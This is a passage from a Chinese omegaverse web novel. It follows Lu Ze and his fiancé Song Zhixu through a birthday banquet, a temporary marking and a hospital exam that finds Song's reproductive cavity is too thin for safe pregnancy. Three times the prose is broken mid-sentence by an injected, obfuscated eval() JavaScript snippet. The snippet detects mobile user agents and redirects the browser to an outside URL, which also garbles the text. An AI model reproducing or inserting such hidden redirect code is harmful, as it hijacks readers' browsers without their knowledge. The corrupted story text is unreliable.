“你给我们进行脱敏实验呢?”陆则反问,“爸妈生了你把你一点点从这么小带到一米九的个子,我虽然大你六岁那也是从小一起吃一个锅里饭长大的,咱们家里边人际关系简单,我就你一个弟弟,我看着你那胳膊跟藕似的长成现在这样,看着你从流口水一直到叫爸爸妈妈哥哥。我们都是彼此生命中最重要的人,我们尊重你,也愿意去支持你的爱好哪怕是那些危险的运动,但你不能一直挑战我们心脏吧?你没想过你万一真出事我们怎么办?” 陆则:“……” 陆则不知道说什么了,他不知道陆延是否像现在这样心平气和坐下向自己的弟弟表达亲情,但陆则想大概是没有的,对方不知道眼前坐着的不是他从小看大的弟弟,也不知道在未来自己看的很重的弟弟真的死在了某场极限运动中,他什么都不知道,面对这个跟他弟弟一模一样的陌生人剖白心意。 “那会儿一家子都飞出去准备给你做配型了……” “我死了不还有你吗?”陆则笑了下打断了他。 “放屁!”陆延破天荒爆了粗指着陆则鼻子,“我看你欠打了是吧,我太久没收拾你不知道你以前怎么被我打的?嘴上没个把门的。你是陆则我又不是陆则,有我有个屁用,我告诉你你别混蛋似的在妈面前说你死不死的,哪个当妈的能听得儿子说死的。” 他气的瞪了眼陆则,“早知道是个讨债鬼当时生下来我就给你扔了。” 陆则说不出话,没有理由的难受,或许是为在不知不觉中已经失去儿子、失去弟弟的陆家人,或许也是为自己。 在这样一个普通的一天,在旁观了一种从未亲身体验过的亲情后他忽然再次深刻的意识到——996说的一些话是对的,他不该以高高在上的旁观的姿态去评价陆母催婚催生愚昧,去自己揣度批判陆延的未来。 世人本就善恶难分,他总把自己摘的太清,可这就是他以后的几十年要停留的世界,就是他在未来要密切相处的家人,这些世事难以避开,苦痛与爱总是相伴相生。 * 宋知许站在阳台上看比以往任何一次规模都要盛大的生日宴,入口处源源不断有往日只能远远看到的豪车停下,下来不少人都是有头有脸的人物。 自从他订婚在外人眼里就是攀附上了陆家,从刚订婚后不久就有人明里暗里打听这场名为生日实际上是交际场的宴会,本来也只是打听,不该来这么多的,但自从上次陆则送出那一千五百万的戒指陆家持默许态度后他这场生日的一张邀请函在圈内也成了稀罕物。 一千五百万可不是小数目,一些企业家看着光鲜亮丽实际全部身家也不过一两千万出头,能随便拿出这么多钱的更是寥寥无几,更何况是逛街途中去买一只戒指。 他只希望今天陆家多多少少再来几个,见风使舵看人下碟都是常事,今天来的越多代表他越受重视,起码他在很长一段时间都会好过很多。 宋知许摸了摸已经戴在手上的沙漠之星,很犹豫要不要把那个陆则买的水果锦囊系列的胸针也戴上。 八十万也不少,跟这戒指比就寒酸了,陆则看起来也不是很喜欢那个,他其实也不算很喜欢。 戴不戴呢? …… 现在陆家实际掌权者是他哥陆延,陆则和父母只占有一部分股份去吃分红,旗下几个子公司倒是都在陆则名下,原主甩手掌柜当惯了,家里这几个也没指望他能安安分分去公司上班干脆找了职业代理,陆则自己又不是受虐狂主动去找班上,反正每天收入极其客观还有家里的补贴,他乐得清闲。 来来往往的人都是奔着陆延来的,陆则就是个开场白,不外乎说的第一句话就是夸陆则,夸宋知许,又夸陆家眼光好,话题顺顺当当再往陆延身上一拐开始胡天海地一顿说。 宋知许身为生日的主角要晚一些出来,他的消息却早早发到了手机上,陆则本来就在后面很不给对面人面子光明正大的玩手机,消息一提示当然第一时间就看到了,“我上去一趟。” 他跟陆延打了个招呼就穿过四处交际的人群往楼上走,在场不少人是为了陆家来的,一些本来就会来的人也好奇这桩家世不算相当的婚事到底怎么成的,难道是这个不常在国内出现的二少有什么不可与外人道的毛病? 他们这么想着,又啧啧叹了一声,该说不说宋家这个Omega确实漂亮,没准是看脸呢。 他的一举一动当然都受人瞩目,在场的所有人几乎都在观察,陆则神色自然的顶着不加掩饰的目光慢慢消失在楼梯上。 陆则刚上阳台就接到了猛地扑进自己怀里的宋知许,随即脸上被怼了一枚闪闪发光的戒指,宋知许很显摆的在陆则面前晃手,“好看吗?” “好看。” “我今天是不是贵贵的。”宋知许在他面前转了一圈又把戒指怼在陆则面前,“你也贵贵的,我们好配呀~” “你不穿这些也贵贵的。”陆则学他说话。 “真的呀?”宋知许很高兴,一高兴就反复的问,“真的真的真的?” 他说完捂着自己的脸醺醺然,“我就是贵贵的,天生的!别人想长都长不到我这样呢。” 陆则不是哄他高兴,说的是实话,气质这种玄妙的东西是经年累月培养出来的,诚然,他们这个圈子不缺少有气质的人,大家都是从小真金白银堆砌出的玉石,但宋知许的气质一部分或许来源于他学习钢琴一类的乐器,而一部分来自于他的样貌。 中国人浅瞳是很少的,更何况是浅灰色的眼睛,纤细漂亮,看起来就很仙。 性格使然,虽然宋知许高兴了就夹着嗓子跟他甜甜嗲嗲的说话,但却意外的让人觉得没有任何矫揉造作可爱的不得了。 陆则眼里带了笑,伸手捏了捏他绵软的脸颊,有种用力揉捏猫猫狗狗一样的冲动,“你这么可爱啊。” 宋知许哼哼两声又在陆则眼前挥舞那只戴了戒指的手,“我就这样。一会儿下去我也这么晃,我看谁看不见。” 陆则又被他逗笑了。 宋知许虽然晃来晃去等真做什么动作的时候却又万分小心生怕磕碰了这个昂贵的戒指,“我一会儿要跟你哥哥多说话么,他好严肃,我不敢。” “想说就说不想就不说。”陆则说,“他天天就知道工作也私下也不会聊天。” 他跟在宋知许身后也扶着栏杆站在了阳台上,从上俯瞰全场这才发现侧厅摆着一架钢琴,陆则不清楚自家人订的那架钢琴长什么样,但隐隐约约有猜测下面放着的应该就是他们家送的那架。 宋知许拿不准刚送出来的礼物就被摆出来显摆陆则到底怎么想,但还是小声解释,“我妈非要摆出来,让我一会儿表演才艺。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740438|174148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆则在某一瞬间环视过年期间被带着吹一遍然后被怂恿着在亲戚朋友面前表演一个的场景。 陆则:“……” …… 他只在上边待了一会儿就下来继续跟在陆延身边,大概只过了三五分钟宋女士和宋父就带着宋知许下来了。 陆则粗略听了下,无非就是多谢赏脸来参加他儿子的生日宴诸如此类的话,说了一通场面话带着宋知许向陆则来了。 在场没有什么辈分特别大的长辈,有几家不错的来的也是小辈,看来看去陆延确实是整个场子里头一个要来敬酒的,对方到底是弟弟未婚夫的父母,陆延场面向来做的好,见三人往这方向走于是也朝他们那里走了几步,“伯父伯母。” 宋女士也笑的满脸舒心,“实在没想到今天陆总会来,小则跟知许两个人感情不错,我每天都安心的很,来,陆总,我敬你一杯。” 他举了举杯微笑,“伯母您说笑了,咱们两家未来就是亲家关系,我是晚辈没有不来的道理。”他碰了碰杯,“婚姻这事两个人满意感情好那再好不过,我就这么一弟弟,既然知许未来要嫁进来早晚是一家人,您不用跟我客气。” 陆则跟宋知许都在后面当透明人,宋女士扭回头叫宋知许,“来,也敬陆总一杯,既然是一家人看到人也不见叫。” 宋知许被拉在最前面直面陆延这个在商场摸爬滚打不知道多少年的老油条,他肉眼可见的紧张,“陆……” “都是一家人!”宋女士面对宋知许时很明显失了耐心,加重口气强调催促他赶紧说话。 陆则冷冷瞟了她一眼。 这疯女人。 面对有些不知所措不知道该叫什么的宋知许陆延还是那副笑,“既然是一家人不如像阿则一样也叫我一声大哥,就当提前熟悉了。” 宋知许胡乱的应了几声,略显别扭的开口,“大、大哥我敬你。” 他把杯子里的酒喝了个干净,陆延也喝干净示意了下。 “少喝,酒量好么就一口闷。”陆则冷不丁开口,“跟我哥用得着全喝完么。” 陆延很无奈的看了眼陆则。 宋知许眨巴眨巴眼,看看陆家俩兄弟又看看宋女士,宋女士笑着接话,“Omega喝这么多酒确实不太好,我会看着他让他少喝的。” 宋女士要带着宋知许去跟别人应酬,临走宋知许赶紧跟陆则安抚的眨眨眼。 陆则很不高兴的耷拉着个脸,陆延来回看了他好几眼觉得自己似乎拿捏到了弟弟的死穴,于是神情极度自然的开口,“别耷拉着脸,让别人看了还以为你不待见宋知许呢,这些人多么见风使舵你不清楚么。” 这话说完陆则果然站直了,陆延猜他早在心里把宋知许那个妈骂了千百遍,心想弟弟果然是中意这个宋知许,也不枉他们挑来挑去。 有老婆管着自己以后一个人生气去吧,他这些年被陆则气的咚咚跳的心脏终于放平了,忍不住扬眉吐气笑了下。 一个猴一个栓法,人老实了就行。 宋知许状态不错,虽然来回应酬有些劳累但看着心情也不错,他一副谦逊的姿态听那些人说话,但那些人都向他妈祝贺生日快乐。 搞什么,他过生日向他妈祝贺? 无非就是祝贺一句对方就开始聊陆则聊陆延,这正中宋女士下怀,于是她跟每一个人都聊的很好,字里行间都是对自家儿子能攀上陆家的志得意满。 宋知许脸色也慢慢冷下来。 谁过生日? 他知道每一场宴会都是变相的交际,可今天他过生日。 连装的多说几句都不愿意么。 他知道他不重要就是个添头,说来说去没人把他当回事。 他心里堵得慌,刚才喝下去的低度数的酒在此刻全成了刀子沉甸甸窝在他的胸口让他一阵阵反胃,他难受的要命,难受的想哭,却又不能不顾及着体面扯着嘴角跟所有人笑。 他低着头深吸了口气,又摸摸那颗戒指安慰安慰自己,表情很彷徨的在满场寻找陆则的影子,看向原位的时候他大哥还在,陆则却不知道他哪去了。 他的心空荡荡的,他对自己情绪总是消化的很好,如果他不这样估计早就疯掉了,可他现在却生起了一股自己都难以掩饰的难过。 陆则去哪了呢。 他正难过着,一股清甜的水果香自身后传来,“怎么了,瘪着个嘴委屈成那样,感觉都要哭了。” 他说话声音很轻,轻到只有两个人才能听到,有人注意到他他忽然觉得自己又没有那么难过了,眼见着身边的宋女士又要热情的对陆则进行新一轮的寒暄,陆则实在厌恶却又顾及着什么,连忙敷衍几句匆匆留下句生日结束后我等你就赶紧逃离现场。 他时不时看手机时间,期盼着时间感觉流逝,整个人心脏都轻快起来,被宋女士赶鸭子上架当着这么多人表演也觉得没那么难挨。 他的钢琴弹的不算差,但比起好的也不算好,在场不少人都能达到这个水平,等弹奏结束后所有人都极其给面子的送上掌声。 弹奏钢琴结束后宋女士放话让他自己行动,他在场内环顾了一圈迫不及待的上楼。 宋知许看着手机里发来的房间号一个个找,找到时他伸手推推门,门虚掩着似乎专门等待有人来推,被他酸酸的使不上劲的手轻而易举的就推开了。 房间是黑的,一个温暖的怀抱自后抱上他捂着眼睛带他往前走,他听到打火机轻响的声音,又模模糊糊从指缝中看到了在这个黑暗的房间里显得过分明亮的光,陆则终于松开了他的手。 宋知许揉了揉被捂了一会儿有点模糊的眼睛。 眼前是一个做工精致小小的蛋糕,巴掌大小,上面插着根蜡烛,陆则轻声催促他,“许愿吧。” 宋知许眼睛酸酸的,只知道听他的话去做,往常的什么想有钱,想要一点爱和重视之类的念头全都消失不见,脑子里白茫茫一片根本想不到任何想实现的愿望。 他闭着眼觉得时间差不多没去吹蜡烛,黑暗没有开灯的房间里小小的、温暖的烛光照亮了两人的脸,宋知许只能看见他,他哇的一声终于把今天的委屈哭出来,“今天是我生日……” 他哭着不肯说话了,陆则明白他想说什么,“他们目的不纯,得到他们的祝福晦气。” 他擦了擦宋知许的眼泪,“生日快乐。” “他们不把我当回事。”宋知许还是很委屈,“装都不愿意装,宋知许张知许王知许是谁都无所谓。” “你也不要把他们当回事。”陆则说,“他们算什么,都得讨好你。” “别生气了,嗯?”陆则捧着他的脸揉,“以后不请这些乱七八糟的人了,我给你过生日。” “生日快乐。”陆则想了想,哄他一样的加了个宝贝。 他今天收到很多句生日快乐,但没有一句是真正送给他的,只有这句。 宋知许呜呜几声又用力嗯了声去吹蜡烛,很遗憾的吸鼻子,“我刚才想不到要视线什么愿望,就没许,浪费掉机会了。” “跟它许不如跟我许,至少我是真能实现你的愿望。”陆则说,“我肯定比阿拉丁神灯还管用。” 宋知许吸鼻子的声音更大了。 陆则边笑着亲他边给他擦鼻子,宋知许觉得陆则很有嘲笑他的嫌疑,愤愤的用力咬他的嘴唇,陆则笑的更大声了。 他轻轻的又很生气的哼给陆则听,眼泪好不容易被擦干净了,他觉得陆则亲的很舒服,于是追着他要亲亲。 陆则慢慢摩挲着他的肌肤,直到把人摸的发抖。 宋知许说不清他在想什么,过分黑暗的环境只有在两人鼻尖相抵的时候他才能看清陆则的轮廓,对于那只在脖子上摩挲的手他既惶恐又觉得心里空落落的。 陆则要标记他吗? 他鼻子又酸起来,不是因为伤心而是一些他自己都说不清楚的情绪,死死攥住陆则的胳膊,“我的零花钱已经答应好要给你买礼物了。” 他强调,“我一分钱都没有了。” 陆则边亲边低低应了声。 宋知许瘪嘴,"……我什么都没有了。" “什么都不是我的。”他抱紧陆则的脖子,“除了我自己。” “只有我自己是我的。” 他眼圈红红的抱紧,声音里也带着对未来不定的惶恐与害怕,于他而言走错一步就够了,他没有任何试错成本,但他还是向陆则舒展了自己。 “我只有我自己,给了你你不能不要我。” “怎么会不要你。”陆则笑了下: “你是宝贝。” 11. 第十一章 宋知许的思绪混沌,几秒钟的时间过的极度漫长,他好像被一句宝贝给砸晕了,抱着陆则说不出话来,还有些没有理由的羞耻。 温热的鼻息喷洒在腺体上,他迷迷糊糊想陆则是不是已经咬了他,那这样看来初次标记也不像书中讲述的那样痛 ——于是他放松了身体。 那只手掌一直贴在他的后背,他每一次绷紧和放松都在抚摸下无所遁形,陆则极度直观的感受到了他此刻的放松,一直在腺体上游离的嘴唇轻轻碰了碰。 宋知许没有反应。 他像个安逸了片刻放松警惕的食草动物,盲目的对抱着自己的Alpha的触碰自顾自的卸下防备。 但Alpha很具迷惑性安抚的动作不会持续多久。 于是在下一秒,趴在肩上垂着眼睫一副昏昏欲睡模样的漂亮Omega猛的瞪大了双眼。 宋知许:“!” 不属于自己身体的物质被注入,从未体验过这种感觉让人惧怕,属于Alpha的信息素猛的灌入侵占着腺体里的每一个部分,他自己的信息素四处躲避却被紧紧缠上。 宋知许下意识猛的挣扎起来却被腰上的手用力扣住动弹不得,娇嫩的腺体被犬齿咬住又因为猛的挣扎那一瞬间被划破。 属于弱势方的信息素很快被强势方压倒,宋知许原本的信息素消失不见整个人都散发着水果的味道,似乎紫藤味已经被水果味强行驱逐出腺体。 他用力的呼吸着却喘不上气,只好张着嘴汲取氧气。 陆则抚摸着可怜的发着抖的Omega,他还咬着那块小小的软肉不想松嘴。 初标对于Alpha来说没有什么太大的快/感,充其量满足了占有欲,但怀里宋知许一副被欺负的可怜巴巴的模样却刺激了多巴胺和内啡肽的分泌,让他产生了某种类似颅内高/潮一样的刺激。 他放开了嘴里那块软肉,又很不舍的亲了亲。 宋知许像是懵了,腺体被松开依旧呆呆愣愣,眸子水亮亮的里面不知道是泪还是什么,被陆则捏着脸晃了晃才像是回了神。 他感知着腺体里的信息素,属于高等级Alpha的信息素霸道的缠绕着,一种无形的羁绊从这一刻开始形成,宋知许好像突然觉得自己在脖子上打了条链子,又把链子的一端亲手递给了陆则。 他觉得悲伤,觉得空落落,标记即使可以随着时间代谢,但唯一算是自己的东西此刻也不属于自己,他在此刻大概已经脱离了常规的干净的Omega的标准。 归根结底还是害怕。 他抿了下嘴,又忍不住了。 他最近很讨厌自己,总是哭,尤其对着陆则。 如果有人对着他总是哭他真的会心烦。 他吸了吸鼻子强行忍住了,朝陆则扯了下嘴角,大概也想到自己此刻笑的勉强,于是抱住了陆则把脸放在他肩膀上不让他看,“标记完成了耶,好奇怪的感觉。” “以后结婚还是要终身标记的。”陆则就这这个姿势抱着他往门口走,按亮房间灯重新返回原位,“把蛋糕吃了。” “嗯嗯。”宋知许补充,“那以后结婚再说哦。” 他又去吸鼻子,然后从陆则身上下来去拿小蛋糕,用放在旁边的小勺子舀了一勺,“第一口给你吃,我就吃一点点,太晚了,要长胖的。” 陆则握着他的手把第一口塞他嘴里才就这他的手又去挖了一勺,“巴掌大小,几口就吃完了,都要瘦成麻杆了。” “瘦了好看,就是要饿才会瘦。”宋知许虽然这么反驳但还是听他的慢慢把这个小蛋糕吃完了。 “什么时候买的蛋糕啊?”宋知许嘴里都是蛋糕的甜味,边计算有多少卡嘴里还没闲着,一口也吃了干脆都吃完,明天多运动运动就好了。 其实这只是陆则的临时起意,观察到现场情况和宋知许的不高兴时买来哄他高兴的小东西。 “看到你不高兴了。” “真的呀?”宋知许笑了,“你一直在看我呀?不然怎么知道我不高兴。” “对啊,我就是在看你。” 陆则顺势直接承认给宋知许打了个措手不及,他瞪圆了眼抬头看陆则,又立马埋头盯着蛋糕不肯再抬头了。 陆则思考了几秒。 要拿到60分还不去达成最后的死亡结局只能从前边到处抠一点,那么前面的剧情大节点就是迫不得已必须要完成的东西。 原剧情中两人并没有什么婚前检查,宋知许的生殖腔壁薄容易流产已经婚后怀上了才知道的。 照宋知许的讨好型人格,照陆母的催生大法,他倒是好,被催的反正不会是他,最难捱的是宋知许,扛不住不就打算生,怀了不就噶么。 但这生殖腔壁薄还不能让陆母知道。 他盘算着什么时候带宋知许去趟医院查一查,起码让他自己对自己的身体和行为带来的后果有心理准备。 他不打算生什么孩子,也会想办法平和的处理这件事,如果可以做到的话最大程度的不伤害原主的母亲也不伤害宋知许,他没法告诉宋知许什么穿越什么任务的,所以当然也不希望宋知许在自己不知情的情况下松口妥协。 两人是一体,陆则的态度要更坚决,宋知许当然也是附和他的状态才能效果最大化。 * 陆则手里拿着好几个科室的体检单,把那个属于信息素检验科的单子递给宋知许跟着他一起上楼。 他捏着那张单子只觉得烫手,昨天晚上刚刚临时标记,等他一个人回到家还没来得及伤春悲秋陆则就说要带他来查腺体。 一般而言初次标记没什么意外情况,他也没听过哪个Alpha初标完火急火燎带Omega去查腺体的。 陆则重视他。 他好高兴。 陆则带着宋知许坐在走廊等里面叫号,他专门跨过好几家有各种注资可能会被拿到检查结果的医院跑到这家老老实实的像一对普通人坐在外面等。 宋知许看起来更黏糊他了。 996幽幽冒了出来,【Omega被标记后会对Alpha更加依赖,这就是信息素的吸引力,尤其是宋知许这个年纪,一般等过了三十多四十激素不那么旺盛就会减轻很多。】 他轻轻摸了下宋知许肩膀,“快到了。” …… 宋知许脸有点红,重新贴上抑制贴坐在医生面前,医生例行询问了信息。 “名字。” “宋知许。” “年龄。” “23。” “婚姻状况呢?” “未婚。” 宋知许一板一眼的回答医生的问题,医生很快的把信息输进电脑,“腺体没什么大问题,发育的很好很成熟,检测了下Alpha的信息素挺强的,要比一般Alpha信息素代谢慢一些,半个月一个月差不多就是这么个时间。” “腺体上的伤口也不大,但以后要小心一点。”医生开了个单,“但是腺体比较脆弱,这种东西就是个巧劲,谁都说不准,万一呢,也别给自己找罪受。这是药,扫码缴费,里面有个清洗腺体的药,还有个药膏,等没有创口后再用。” 陆则接过了那个单子摸了下宋知许的肩膀示意他跟着自己往出走,打开门撑了下又拿出手机扫码缴费。 “我们去取药吗?”宋知许问。 “药不着急取,肯定能取到。”陆则挥了下手里那几张检查单,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740439|174148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先去检查,看叫到多少号了。” 抽血不是很疼,大概是因为宋知许胳膊太细,那三小管血抽完拔针没一会儿胳膊上就青了一大片。 他捂了会儿胳膊慢慢动了动,稍微一动针口就开始酸痛,“两个小时后拿结果,好像能在手机上查,是不是还有一张检查单啊?” 陆则嗯了声,有点不知道怎么跟他开口。 带一个跟自己有婚约的Omega来医院查生殖科,不管谁看都会觉得这就是一种另类的查验对方是否有毛病能生育的婚前检查。 “什么呀?”见陆则不说话宋知许有些好奇追问了句,“咱们快点查完快点回家啊,在医院待一上午了我好累。” “生殖科。”陆则没什么表情把那张单递给他,“最后一个,查完回家。” 在陆则说出生殖科那三个字时宋知许脸色就有些变了,他站在原地停了几秒,“……是你妈妈让你带我查的吗?” “不是。”确实不是。 “哦……”宋知许很勉强的扯了下嘴角照着地标去找生殖腔,“是你啊?” 他嗔怪的说陆则,“你要婚前检查早说嘛,咱们去那几个科查来查去好浪费时间的,我又不是不愿意查。” 宋知许笑眯眯的,“我一直都不怎么生病,发情期腺体成熟都是正常时间很规律。” “……我很干净的。” 好像有什么东西沉甸甸的压在他的肩膀上,他笑着说完就长长的、轻轻的吐出一口气,“你直说啊,我肯定会配合的。” “什么叫查那几个浪费时间。”陆则跟在他旁边走,“从头到尾都好好查一查,初次被标记的Omega激素变化搞出的意外情况也不少。” 宋知许嗯嗯两声,附和他说他有理,他很难受的吸了口气,走了段距离再次小声重复,“你干什么啊,我还以为……”你心疼我呢。 他难受的不像样子,但陆则却没法跟他解释任何这是关于某个听起来极度离奇的‘任务’。 他什么都没法说。 这么一想他居然也气闷起来,实在没有精力说话,两个人维持着很古怪的氛围到了生殖科。 宋知许坐的直直的,刚坐下没有多久就叫到了他,他一声不吭往里走,再次跟这个新的大夫复述了一遍基础信息。 “有没有性/生活?”医生询问。 “没有。”宋知许干巴巴回了句,又看了眼自从进来就一声不吭的陆则。 “没有的话就先用超声。”医生很快决定了用什么来检查,将探头拿出来看机器上显示的图像,等位置调整完毕后他仔细看了几眼。 “嗯……看起来发育的挺好。” 医生看了看感慨,“这形状长得跟教科书一模一样。” 宋知许听了又去看陆则。 他或许不知道,他的很多想法总是表现在脸上给陆则看,譬如现在他就是很委屈又愤怒的告诉陆则他发育的特别好还干干净净。 长得跟教科书一模一样! 他这么标准! 宋知许偏着头很生气的不去看陆则。 就在陆则怀疑原世界剧情是否出了偏差,宋知许的生殖腔并不薄时,医生突然嗯了声。 “等会儿、生殖腔厚度看起来不太对。” “啊?”宋知许几乎都要坐起来了。 “看起来有些薄。”医生说,“超声检测不是百分百确定。” “但是如果生殖腔壁薄不建议随意生育,这种情况不论是什么月份都容易流产,再加上生殖腔壁薄对如果月份大流产母体伤害很大。” 宋知许呆呆的盯着那个图像,又呆呆看了陆则,眼泪顿时盈满了眼眶。 生殖腔壁薄? 12. 第十二章 “不是特别确定,是否薄到影响生育得进一步检查做确定。”医生扯了纸擦了擦,顺便又给了宋知许一条纸,“自己把肚皮擦干净,要不要继续做检测,做的话我给你开单扫码缴费出门左拐第二个入口第五个房间。” 宋知许神情很彷徨的看了看医生没有去接那条纸,他不敢看陆则是什么表情,自欺欺人的垂着眼睛看着自己涂满耦合剂的平坦腹部发呆。 一只手接过那条纸蹲在床前给他擦干净,当陆则一碰上他的腹部时宋知许很不适应的抖了下,可怜的偏着脑袋躲陆则。 陆则一边擦耦合剂一边向医生开口,“做,麻烦您开单。” 医生等单打印时又看了眼浑浑噩噩看起来怕的要命但似乎并没有被终身标记的Omega,又去看那个人高马大的Alpha实在没忍住开口,“如果A方对孩子有很必要需求的话,O方不适合生育还是不要强求。” 他就说了这么一句把新单子递给陆则,也没说清楚是不要强求孩子还是不要强求婚姻,既然会带Omega婚前检查想必就是有孩子方面需求,趁没有终标及时抽身才是上策。 不过也点到为止,沉溺在爱情或者别的因素中的人是很难被劝动的,一句话说的实在有道理:放下助人情节,尊重他人命运。 宋知许低着头一声不吭跟在陆则身后走,连陆则几次回头欲言又止都没注意到,陆则走在前面很轻的叹了口气,干脆等彻底检查出结果再说吧。 陆则左拐进入第二个入口,身后的宋知许像是丧失了自己的思维,很安静的一直跟着他走全凭陆则带路。 他数着门,走到第五扇前停下脚,宋知许却浑然未觉越过已经停下的陆则继续往前走。 “要去哪去,走超了。” 宋知许猛的站住脚,满眼惶然,下意识就开口道歉,“对不起我在发呆。” 陆则:“……” “道歉干什么。” 宋知许不知道该说什么了,低头抠手又说了声对不起。 陆则:“……算了,先查吧。” 陆则这话让心本来就凉了一半的心彻底凉透了,先查吧?查完要是真不能生呢,是不是陆则就不会娶他了?就算陆则愿意他的爸爸妈妈会愿意吗? 不会的。 他大概会被退婚,会被他妈妈责怪,之前捧着他的都会用那种奚落的眼神来看他,文苑徐盛那一类人更不用说,会扬眉吐气一样的来假惺惺关怀。 他又会变成以前那个没人喜欢的宋知许。 他瘪了瘪嘴却不敢哭,趁陆则走在前面往里走的时候赶紧揉了揉自己的脸跟眼睛。 不能哭,已经够讨厌了,哭哭啼啼只会更讨厌。 …… 里面的大夫是个女性Omega,戴着一个银框眼镜正在看那个单子,动作很利索的进了一个其中一个小隔间,“进来吧,躺床上。” 她戴上手套取了一个干净的两根手指粗细的探头放在一旁,再次确认,“是检查生殖腔对吧?” “对。”陆则开口。 宋知许紧张的盯着那个似乎要进入身体去探测的探头紧张的攥了攥自己的衣服,他下意识想寻求陆则的安慰,突然反应过来自己的查什么后眸光暗淡下来。 他的表情变化全被陆则看在眼里,他干脆从另一边绕在宋知许脑袋旁边捏了捏他的耳垂以示安抚。 宋知许被捏了耳垂有些不可置信的一僵,轻轻抬起眼看了眼陆则又收回视线,试探着开口,“我有点怕……” 没等陆则开口医生就拿起了探头,“进去的时候肯定会痛,但也不会很厉害,稍微忍一下,等放好就没感觉了。” 没得到陆则的回答宋知许有些失落,闷闷嗯了声,下一秒又被捏了捏耳垂。 他感到了一丝安慰,却也难以掩饰惶恐。 现在这么一点温柔什么都代表不了,没准只是绅士风度而已,说不准等结果出来对方就会委婉表示这桩婚事并不合适。 宋知许抖了下,不能生育、家里条件较差的Omega在圈子里是讨不了好的,只要婚事一退早晚会有风声传出去,一个不能生育的O根本无法满足宋女士向上攀附的愿望,他的未来几乎是肉眼可见的一片黑暗。 宋女士是绝对不肯让他低嫁的,嫁给一个年纪大的,或者已经有孩子不需要孩子而单独贪图美色的。 女医生盯着机器看了会儿,推了下让机器面对着他们,用笔把生殖腔范围大致画了下,又指了下生殖腔壁,“未生育过的Omega正常的生殖腔壁应该是我这个笔的二分之一到三分之一的宽度。” 她把笔比在上面,“你生殖腔壁太薄了,几乎只有四分之一甚至五分之一。” “我没有生育过,我也没有过性/生活。”宋知许很委屈的给自己辩解。 “不是说你生育过,极少数人天生就薄这没有办法。” 宋知许紧接着问,“那可以生育么?” 女医生在宋知许和陆则身上打了个来回直言,“不建议。” 果然。 宋知许知道自己运气一直不好,当某件事可能往一个坏方向发展时大概率就会不好,他已经有心理准备,甚至对自己未来的黑暗也有了一个设想,可当不建议三个字从医生嘴里吐出来时他却没有一直以来遇到坏事的平静,他满心恐惧。 恐惧责骂,恐惧风言风语,恐惧看起来安定的去处顿时分崩离析。 他在某些时候很自高自傲的认为他与普通人不同更加成熟也更加习惯成年人的世界,他高高在上的认为一些人太幼稚太天真,觉得他们批判自己的想法太过不成熟,可他也不得不承认他只是一个普通人,甚至是一个连普通人都比不上的又敏感又内耗的人。 他不坚强,他习惯讨好,他敏感内耗,他汲取了无数负面的情绪。 这些软弱又不争气的脾性到底从什么时候开始养成已无从追溯,追溯也没有意义,过去的事已经过去,只留给未来无穷无尽的麻烦。 “真的不建议生吗,喝药卧床呢?”宋知许不死心的追问。 女医生吸了口气看起来有些无语了,“你们是哪方有强烈生育需求吗?”她这么问看的却是陆则,内心疯狂吐槽你家难道是有皇位要继承么,嘴跟机关枪一样根本不停下来,下面却是对着宋知许,满是对这个满心眼都是给这种Alpha生孩子的O的恨铁不成钢。 “生殖腔壁薄不是开玩笑,孩子要在生殖腔里长到八九个月。”女医生说,“生殖腔就跟气球灌水一样给撑大,一个小孩生出来一般是五斤到八斤,更重的也有,而且双亲个头大的话孩子大概率也大,厚度正常的人都会撑薄,别说你这天生就薄的。” “这根本不是卧床吃药的事情。”医生强调,“不是我危言耸听,这种情况要按最坏打算来,甚至有把生殖腔撑破直接一尸两命,这种情况根本来不及救就死了。” “而且现在什么社会了呀?孩子不是非得生。”医生把探头收回来,“生孩子也得看自身情况吧,你是个人,不是个用来生孩子的。” 她脱下白大褂挂在一边,“好了我下班了,说句不该说的。” 她在柜子里翻找钥匙,已经下班对着陆则口气一般,“家里难道有皇位要继承么,我看患者个人资料写着未婚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740440|174148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那这是婚前检查了?既然是婚前检查估计就是怕这种情况,看来家里或者你自己也不能接受,该散散。” …… 医生说完就走,宋知许情绪很差很踌躇的走在陆则身后,陆则回头看了几次发现他越走越慢,看表情甚至有种怀疑自己现在该不该跟着陆则的样子。 他确实是这么想的,还在考虑一会儿要不要打车回家,被退货了陆则凭什么开那么久的车送他回去呢? “跟上来,咱们去车里聊几句。”陆则语调刻意放的很温和。 宋知许追上去悄悄抬眼看他,又抬眼看他,壮着胆子试探着伸手蹭了蹭他垂在身侧的手,见他没躲更实的蹭了蹭却被反手握住了。 